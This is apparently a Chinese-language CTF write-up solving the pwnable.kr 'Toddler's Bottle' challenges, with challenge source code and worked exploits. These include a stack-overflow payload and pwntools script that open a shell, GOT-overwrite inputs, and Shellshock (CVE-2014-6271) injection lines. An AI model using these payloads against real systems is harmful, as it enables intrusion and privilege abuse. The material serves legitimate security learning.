Pwnable之[Toddler’s Bottle]
1.fd
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
重要函数:
重要函数:read
ssize_t read(int fd,void * buf ,size_t count);
2.collision
先SSH到题目地址:
ssh col@pwnable.kr -p2222 (pw:guest)
发现有三个文件,只有一个是当前用户可执行的,查看col.c源码:
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
分析函数,是要你输入20个字符串,进入chack函数。
在chack函数中把这个字符串分成5份int,相加等于0x21DD09EC。
重点分析:
一个int变量4个字节。把hashcode变量5份共20个字节,再将这5个字节加起来不就等于hashcode了吗?
开始计算:
0x21=4*0x08+0x01
0xDD=4*0x33+0x11
0x09=4*0x02+0x01
0xEC=4*0x33+0x20
0x21DD09EC=4*0x08330233+0x0111120
测试一下–
没问题~
开始尝试输入:
好奇怪,不知道为什么不成功?
xargs 是一种输入命令,默认为echo,即以一行输入。
换一种思路:
按这个输入一下看看:
拿到flag:
也可以这样:
话说:为什么前面那个不行0 0.
以后再来看看~
3.bof
nc pwnable.kr 9000 进入
按照题目下载了源代码和执行程序
源代码如下:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
分析一下:
主要是在func这个函数,一开始进入参数的key为0xdeadbeef,然后定义一个char32数组overflowme,然后输入这个数组,当判断key为0xcafebabe时得到flag,很明显,这是要用到栈溢出漏洞去替换掉key地址的值。
突破点:
gets()函数存在漏洞,它对输入的字符串长度没有进行检验,超过数组长度时它就只取数组长度,超过的部分会替换掉下面的地址。
思路:
先获取到func函数地址,key参数的地址,最后计算出gets函数输入地址与key地址的相差,需要多少个字符填充。
用IDA打开分析:
进入函数,ebp-2C为可以地址,ebp+8为gets的输入地址。二者相差52。
尝试填充52个A,在把0xCAFEBABE
try it:
出错~
编译时,应该是启用了linux的canary作溢出保护。不过这个保护机制是当函数返回的时候才会被触发,而system已经被执行了,因此无法即使阻止。
百度了一下:
命令:
(python -c 'print("a"*52+ chr(0xbe) + chr(0xba) + chr(0xfe) +chr(0xca))'; cat) | nc pwnable.kr 9000
PS:不大明白cat的作用是什么,但是如果不用的话,就会被canary检测到溢出,从而程序被中止,无法获取shell。
然后就反弹了shell。。。
再看看可不可以用pwntool来。
pwntool:
使用简介可以参考这个:
http://www.91ri.org/14382.html
代码:
from pwn import *
pwn_socket=remote('pwnable.kr',9000)//socket连接目标
pwn_socket.sendline('A' * 52 + '\xbe\xba\xfe\xca')//以自动换行的形式发送数据
pwn_socket.interactive()//交互,即反弹shell
结果如图所示:
4.flag
IDA分析,发现代码有点混乱。。。猜测是加壳了。
用查壳工具看了下,发现是UPX壳。
这个就简单了。
直接下载一个UPX脱客工具拖壳。
或者使用kali的UPX命令脱壳。。。
命令:
upx -d flag -o deflag
然后就可以在IDA里找到flag字符串了。
5.passcode
ssh登入后找到漏洞代码:
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
这段代码的存在scanf误用,scanf缺少&.所以输入的passcode1,passcode2,甚至name都是替换地址的。
所以:
可以看看可不可以替换地址,从而直接执行system。
通过objdump,可以得到name的地址为-0x70(%ebp),passcode1为-0x10(%ebp),passcode2为-0xc(%ebp)。因为在welcome中,只接收了一个100个字符的输入。
因此,只能给passcode1赋值,无法直接改变passcode2。于是直接修改passcode1和passcode2的值,满足if条件,是不可行的了。
看了其他大佬的writup:
想法1:
让代码直接跳转到system(“/bin/cat flag”);但是又不能直接修改eip,这时想到了修改GOT表,直接把下一个要执行的函数地址改成输出flag的代码的起始地址,通过objdump找到system(“/bin/cat flag”);代码起始地址:
80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp)
80485d5: 75 1a jne 80485f1 <login+0x8d>
80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp)
80485de: e8 6d fe ff ff call 8048450 <puts@plt>
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
80485ea: e8 71 fe ff ff call 8048460 <system@plt>
可以看到起始地址为0x80485e3。scanf下一句代码是fflush(stdin); 同样用objdump找到fflush的GOT表地址:
08048430 <fflush@plt>:
8048430: ff 25 04 a0 04 08 jmp *0x804a004
8048436: 68 08 00 00 00 push $0x8
804843b: e9 d0 ff ff ff jmp 8048410 <_init+0x30>
GOT表项地址为0x804a004 。最终构造shellcode输入:
python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "134514147\n"' | ./passcode
134514147为0x80485e3的十进制数值(因为 %d是取出整数),得到flag。
想法2:
通过修改plt,引导exit的调用到system处,就可以执行了。(在C中,当程序需要调用library中的函数时,程序会到plt中去寻找跳转的地址。
例如,在本例中,执行exit的语句为call 0x8048480
python -c "print('a'*96 + chr(0x18) + chr(0xa0) + chr(0x04) + chr(0x08) + '134514147')" | ./passcode
6.random
代码:
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
学过C语言的都知道rand是伪随机。
使用rand时,如果不提供一个随机种子,除了最开始的是随机的,之后产生的都是第一次一样的结果。
那么思路就很清晰了:
找到random,然后^0xdeadbeef就是key了,然后获得flag。
因此,用objdump找到printf前的地址<已经执行过rand的>,gdb运行这个文件,在打下断点,打印出random的值为0x6b8b4567。
0x6b8b4567^0xdeadbeef=3039230856,就是key了。
然后获得flag。
7.input
先看代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
这是一道考验linux基础的题。说实话,这题我卡了好久。
本来是想不按套路搞定,就是直接跳到system那段代码或者是直接gdb调试一直跳过return ,理论来说是可以的可是一直搞不定,本来想寒假搞定的,结果由于各种事一直没耐下心来搞。
终于在寒假的最后一天还是觉得按题目意思走(也是就是看大佬的writeup)~ ~。
首先,我们看代码的第一步:
// argv 输入
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
要你输入100个字符,其中argv[]就是数组,argv[‘A’]应该就是其中的一个单元可能是代表argv[65]=”\x00”。argv[‘B’]=”\x20\x0a\x0d”。这不都是可视的符号。
\x0a是换行符的16进制,\x0d代表回车。
如果是windows可以用WinHex改再重输入,但是如果是linux的话,而且没有办法把改后的文件倒进来,又卡了。所以还是瞄了下大佬的。
说是要用linux的一个函数execve,在 unistd.h中。
execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数。
int execve(const char * filename,char * const argv[ ],char * const envp[ ]);
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。
具体的可以看这个
https://baike.baidu.com/item/execve/4475693?fr=aladdin
现在是要找一个有写权限的文件路径。
找到在input2@ubuntu:/var/tmp$
编辑一个c程序:
#include "stdio.h"
#include "unistd.h"
int main()
{
char *argv[101] = {[0 ... 99] = "A", NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
execve("/home/input2/input", argv, NULL);
return 0;
}
因为execve参数说明那里是用指针数组传递并以空指针NULL结束,所以前面100个A,加一个NULL
运行如下图:
OK!~第一步结束。
第二步:
// stdio 用管道重定向该进程的标准输入
char buf[4];
read(0, buf, 4);//从标准输入中读
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);//从标准错误输出中读
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
不仅要在标准输入中读取”\x00\x0a\x00\xff”,也要在标准错误中读取”\x00\x0a\x02\xff”,两个不一样而时间差很小。那应该要有一个子程序和
管道重定向,那就是要用到操作系统的管道了。
在操作系统的实验课上有打过,不过有点忘了。
看大佬的复习下~
http://blog.csdn.net/oguro/article/details/53841949
重点是要用到int pipe(int filedes[2]);
pipe()会建立管道,filedes[0]为管道里的读取端,filedes[1]则为管道的写入端。父子进程可通过此通信。
和int dup2(int oldhandle, int newhandle);
文件句柄的重定向。
以下是利用代码:
#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
int main()
{
//Stage 1
char *argv[101] = {[0 ... 99] = "A", NULL};
char *env[2]={"\xde\xad\xbe\xef=\xca\xfe\xba\xbe",NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
//Stage 2
int stdin[2]; //标准输入
int stderr[2]; //标准错误
pid_t pid;
// 创建两个管道
if (pipe(stdin)<0 || pipe(stderr)<0){
perror("Cannot create the pipe");
exit(1);
}
// 创建子进程
if ((pid = fork()) < 0) {
perror("Cannot fork");
exit(1);
}
// 判断当前在子进程还是父进程
if (pid == 0){
/* 子进程 */
// 首先关闭管道的读取端
close(stdin[0]);
close(stderr[0]);
// 写入
write(stdin[1], "\x00\x0a\x00\xff", 4);
write(stderr[1], "\x00\x0a\x02\xff", 4);
}else{
/* 父进程 */
// 首先关闭管道的写入端
close(stdin[1]);
close(stderr[1]);
// 分别读取到stdin和stderr
dup2(stdin[0], 0); //将srdin[0]重定向到标准输入
dup2(stderr[0], 2); //将srderr[0]重定向到标准错误输入
close(stdin[0]);
close(stderr[0]);
execve("/home/input2/input", argv, NULL);
}
return 0;
}
运行可以看到:
第二步成功~
第三步:
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
getenv() 是从环境中取字符串,获取环境变量的值。
详细可看这个:
https://baike.baidu.com/item/getenv/935515?fr=aladdin
要求”\xde\xad\xbe\xef”这个位置的环境变量等于”\xca\xfe\xba\xbe”
这时我们可以回想起来execve()的最后一个参数则为传递给执行文件的新环境变量数组。
这就可以自定义了。
详细如下:
再加上
execve(“/home/input2/input”, argv, evn);
就可以了。
运行如下:
咦?我怎么第四关都过了?
第四关:
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
文件的写入。
首先要知道fread的含义。
函数名: fread
功 能: 从一个流中读数据
用 法: int fread(void *ptr, int size, int nitems, FILE *stream);
参 数:用于接收数据的地址(ptr)
单个元素的大小(size)
元素个数(nitems)
提供数据的文件指针(stream)
返回值:成功读取的元素个数
那么就创建一个”\x0a”。(我知道前面为什么能过了,别人创建过了)
代码如下:
FILE* fp = fopen(“0x0a”, “w”);
fwrite(“\x00\x00\x00\x00”, 4, 1, fp);
fclose(fp);
运行后没有问题~第四关结束。
最后一关:
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);// 新建套接字
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
/*接下来设置一些关键参数*/
saddr.sin_family = AF_INET;
//AF_INET(又称PF_INET)是IPv4网络协议的套接字类型
saddr.sin_addr.s_addr = INADDR_ANY;
// 监听所有地址:即0.0.0.0
saddr.sin_port = htons( atoi(argv['C']) );
// 设置监听端口,htons()--"Host to Network Short":
//主机字节序转化为网络字节序
// atoi把字符串转换成整型数
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}// 绑定端口(将套接字和指定的端口相连)
listen(sd, 1);
// 监听 int listen(int sock_fd, int backlog); sock_fd 是socket()函数返回值;backlog指定在请求队列中允许的最大请求数
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
//用于接受客户端的服务请求,成功返回新的套接字描述符,失败返回-1,并置errno。 参数说明: sock_fd是被监听的socket描述符, addr通常是一个指向sockaddr_in变量的指针, addrlen是结构sockaddr_in的长度。
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
//ssize_t recv(int sockfd, void *buff, size_t nbytes, int flags);
//返回读入的字节数,要读入4个字节,并为\xde\xad\xbe\xef
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
要求我们要写一个socket客户端,发送”\xde\xad\xbe\xef”才行。
代码如下:
// Stage 5
// 等待程序前面的东西执行玩
sleep(2);
int sockfd;
argv['C']="23456";
struct sockaddr_in server;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0){
perror("Cannot create the socker");
exit(1);
}
// 设置地址和端口,与argv['C']相对应就行
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_port = htons(23456);
// 连接本地的服务器
if (connect(sockfd, (struct sockaddr*) &server, sizeof(server))) {
perror("Problem connecting");
exit(1);
}
printf("Connected\n");
// 向服务器写数据
char buf[4] = "\xde\xad\xbe\xef";
write(sockfd, buf, 4);
close(sockfd);
char *argv[101] = {[0 … 99] = “A”, NULL};
char *env[2]={“\xde\xad\xbe\xef=\xca\xfe\xba\xbe”,NULL};
8.leg
leg源程序代码:
http://pwnable.kr/bin/leg.c
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
先看main逻辑。
要你输入一个key,只要等于key1()+key2()+key3()就可以获得flag
key1()、key2()、key3()里面的代码是ARM汇编代码。
这个有点像x86的汇编,但有一些区别。
具体可以看这位大佬的。
ARM状态结构小记
http://blog.csdn.net/qq_19550513/article/details/62038580
ARM寄存器结构小记
http://blog.csdn.net/qq_19550513/article/details/62044295
总结:
ARM属于RISC指令集,不同于 x86 CISC指令集的堆栈传参,ARM 在函数调用时倾向于寄存器传参。一般地,当参数不超过4个时,系统会使用 R0-R4 寄存器进行参数传递,超过四个才会借助堆栈。
ARM的PC永远指向当前执行指令之后的第二条指令,即处于流水线取指阶段的指令,而 x86 的 PC 指向的是当前执行的指令。
调用子函数也和 x86 不同,x86下是使用 CALL 指令,ARM下是使用 BL (带链接跳转,即当前执行指令的下一条指令保存到 R14,并跳转,进入子函数后会将 R14 的值入栈)指令。
关于返回值,x86 使用 EAX 寄存器传递返回值,ARM 使用 R0 传递返回值。
掌握上述基础知识后,这题就迎刃而解了。
分析key1()
int key1(){
asm("mov r3, pc\n");
}
将pc赋值给r3,pc当前为0x00008cdc+8,将r3赋值给r0,返回r0。
所以key1()=0x00008cdc+8=36060+8=36068
分析key2()
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
值得注意是,在将pc赋值给r3前,
从前面那个大佬的ARM状态结构小记中可以看出:
bx r6是使得程序进入thumb模式。
在thumb模式下pc =当前+下一个指令地址
即:pc=pc+4。
所以r3=0x00008d04+4
然后adds r3 ,#4 –> r3=r3+4
所以返回的r0=r3=0x00008d04+4+4=36100+8=36108
分析key3()
int key3(){
asm("mov r3, lr\n");
}
百度了下:
在ARM体系结构中LR的特殊用途有两种:一是用来保存子程序返回地址;二是当异常发生时,LR中保存的值等于异常发生时PC的值减4(或者减2)
既然是返回地址,那就要在(gdb) main里面找了。
返回地址是0x00008d80
所以kye3()=0x00008d80=36224.
所以key=key1()+key2()+key3()=36068+36108+36224=108400
get falg~
9.mistake
先把代码翻译了一下,如下:
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}#讲字符串的前len位,每位与1异或
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}#以权限400只读的方式打开password,不成功则输出并退出
printf("do not bruteforce...\n");#不要暴力破解 --?
sleep(time(0)%20);#无线循环?
#等待文件打开
char pw_buf[PW_LEN+1];#char pw_buf[11]
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}#读取打开文件password里的10个字节,保存在pw_buf数组里。如果文件里的字符多于10个,则读取失败,文件退出。
char pw_buf2[PW_LEN+1];#char pw_buf2[11]
printf("input password : ");
scanf("%10s", pw_buf2);#读取输入的前10个字符给pw_buf2
// xor your input
xor(pw_buf2, 10);#将输入的前世个字符串每个与1进行异或
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}#对比前十位的pw_buf和pw_buf2,如果相等就得到flag
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
很明显,题目的意思是要你获得password的flag,然后再每个与1异或后获得输入的password,得到flag。
那么很简单了,用objdump 找到 “printf(“input password : “);”这句代码的地址。将断点放置在这个位置,然后输出内存pw_buf中保存的password就好了。
结果出了问题,直接运行的话会出现无限等待。
gdb调试的话会打开password失败
换一种思路,将断点断在open上看看。
成功。。。于是我得到了这个。
猜测password=2147483626
写个python将它每个位与1异或。
s="2147483626"
n=""
for i in range(0,len(s)):
k=ord(s[i])-ord('0')
k=k^1
n=n+str(k)
print n
得到3056592737。。。
等下。。。问题来了,,,直接运行./mistake时会出现无线循环。。。
下一步。。
尝试用set $pc 设置下一个执行地址,设置到scanf前面,结果虽然可以输入,但是还是出错。。。
。。。
好了,研究下大佬的writeup
好吧,前面的猜想全部错了。。。
sleep(time(0)%20);不是无线循环,而是单纯的等待(想多了伐~)
问题出现在
if 判断里面->>
fd=open(“/home/mistake/password”,O_RDONLY,0400) < 0
我前面以为是打开password。。。
结果并不是,因为‘<’的优先级比‘=’高。。
所以他是先打开成功,返回一个正数,判断正数<0,返回flase。
也就是0,即fd=0。
那么read(fd,pw_buf,PW_LEN)就是
read(0,pw_buf,PW_LEN),在标准输入流里获取前10位bit进入到pw_buf
那么这题就很简单了,pw_buf和pw_buf2 都是我们输入的,那就随便输入一个pw_buf^1=pw_buf2好了。
最简单的有00000000001111111111
为了对得起前面的猜想,就用21474836263056592737
拿到flag ~
10.shellcode
代码:
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
意思是暂时获得root的权限,
然后用bash执行echo shock_me。
百度查了下shellcode:
漏洞编号CVE-2014-6271,以及打了补丁之后被绕过的CVE-2014-7169,又称ShellShock漏洞。
这是一个关于它的复现实验:
https://www.cnblogs.com/zorigul/p/4520677.html
这是参考的原理分析:
https://yq.aliyun.com/articles/53608
漏洞起因:
要是用一句话概括这个漏洞,就是代码和数据没有正确区分。
漏洞很像SQL注入,通过特别设计的参数使得解析器错误地执行了参数中的命令。
常用的测试语句是
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果同时打出vulnerable和echo this is a test,表示存在漏洞。
这个语句原本的意图是使用env命令创建一个临时环境x,然后在里面执行一个bash命令。结果由于bash处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。
这题只用root才有权限获得flag,所以要用到shellshock
漏洞利用:
env var='() { :;}; cat flag' ./shellshock
或者
env x='() { :;}; /bin/cat flag' ./shellshock
利用shellshock的临时root权限执行cat flag 命令。